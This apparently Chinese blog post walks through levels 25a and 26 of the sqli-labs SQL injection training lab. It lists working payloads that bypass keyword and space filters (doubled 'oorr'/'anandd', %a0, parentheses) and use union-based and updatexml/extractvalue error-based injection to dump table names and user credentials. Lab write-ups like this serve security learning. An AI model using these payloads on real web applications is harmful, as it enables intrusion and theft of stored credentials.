【sql-labs】闯关记录25a26

伸手摘星,即使徒劳无功,亦不至满手污泥。


【less-25a】数字型,过滤了and or

image-20210422184311153

测试流程

注:以下payload部分都要进行url编码

?id='   #直接报错
?id=1' and 1=1%23   #发现and被过滤
?id=1' && 1=1%23    #发现依然回显错误,说明可能不是字符型
?id=1 && 1=1     #回显正常,说明是数字型
?id=1 && 1=2     #无回显

##order by测试主查询字段数
?id=1 order by 5   #发现order变成了der,说明or被过滤了
?id=1 oorrder by 5   #双写直接绕过,但字段数不是5
?id=1 oorrder by 3   #回显正常
?id=1 oorrder by 4   #回显错误,说明字段数为3

##直接union注入
?id=-1 union select 1,2,3   #判断回显点为2,3
?id=-1 union select 1,database(),user()  #查用户和数据库名

?id=-1 union select 1,group_concat(table_name),3  from infoorrmation_schema.tables where table_schema=database()
#查询表名,注意information的or要双写

?id=-1 union select 1,group_concat(column_name),3  from infoorrmation_schema.columns where table_name=0x7573657273
#查询字段名,0x7573657273为users十六进制

?id=-1 union select 1,group_concat(username,0x7e,passwoorrd),3  from security.users
#查询字段名,注意password的or要双写

关键代码:

image-20210422194117286

小结:

数字型,GET型

主要是对and、or进行了过滤

值得注意的是测试时特殊符号要进行url编码,对测试语句的所有or都要双写,很容易漏掉。


【less-26】字符型,过滤了and, or, 空格,#,–+,/**/

image-20210422184239638

测试流程

注:以下payload部分都要进行url编码

?id=1   #回显正常
?id=1'  #直接报错
?id=1' anandd 1=1#   #发现#和空格也被过滤了
?id=1' anandd/**/1=1--+  #发现/**/和--+依然被过滤了
#--+被过滤可以用万能密码那一招
#/**/被过滤,试了在/**/中添加一些字符,结果绕过失败,最后用!!!可以绕过
#而且!!!数字为1

?id=1'anandd'1'='1    #成功回显
#测试发现%0a,%0b也被过滤了

#果断选用报错注入
?id=1' && updatexml(1,concat(0x7e,database()),2)&& '1'='1  #报错注入查数据库名

#查询表名
?id=1' anandd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e),2))anandd '1'='1 
#或者:
?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),0x7e)))aandnd'1'='1

#查询字段名
?id=1' anandd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=0x7573657273)),0x7e),2))anandd '1'='1
#不过回显长度有限,需要配合substr函数截取后面
?id=1' anandd(updatexml(1,concat(0x7e,substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name=0x7573657273)),30,50),0x7e),2))anandd '1'='1

#查询字段值
?id=1' anandd(updatexml(1,concat(0x7e,(select(group_concat(username,0x7e,passwoorrd))from(security.users)),0x7e),2))anandd '1'='1
#同样需要substr函数截取后面的内容
?id=1' anandd(updatexml(1,concat(0x7e,substr((select(group_concat(username,0x7e,passwoorrd))from(security.users)),30,50),0x7e),2))anandd '1'='1
关键代码:

image-20210422194238564

小结

报错语句:

updatexml(1,concat(0x7e,(语句),0x7e),2)

extractvalue(1,concat(0x7e,(语句)))

对于空格过滤的绕过:

/**/,

!!!数字为1,

/*任意字符*/,

%a0,%0b

()括住数据库名、表名、字段名(每个括号中为单个元素)


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值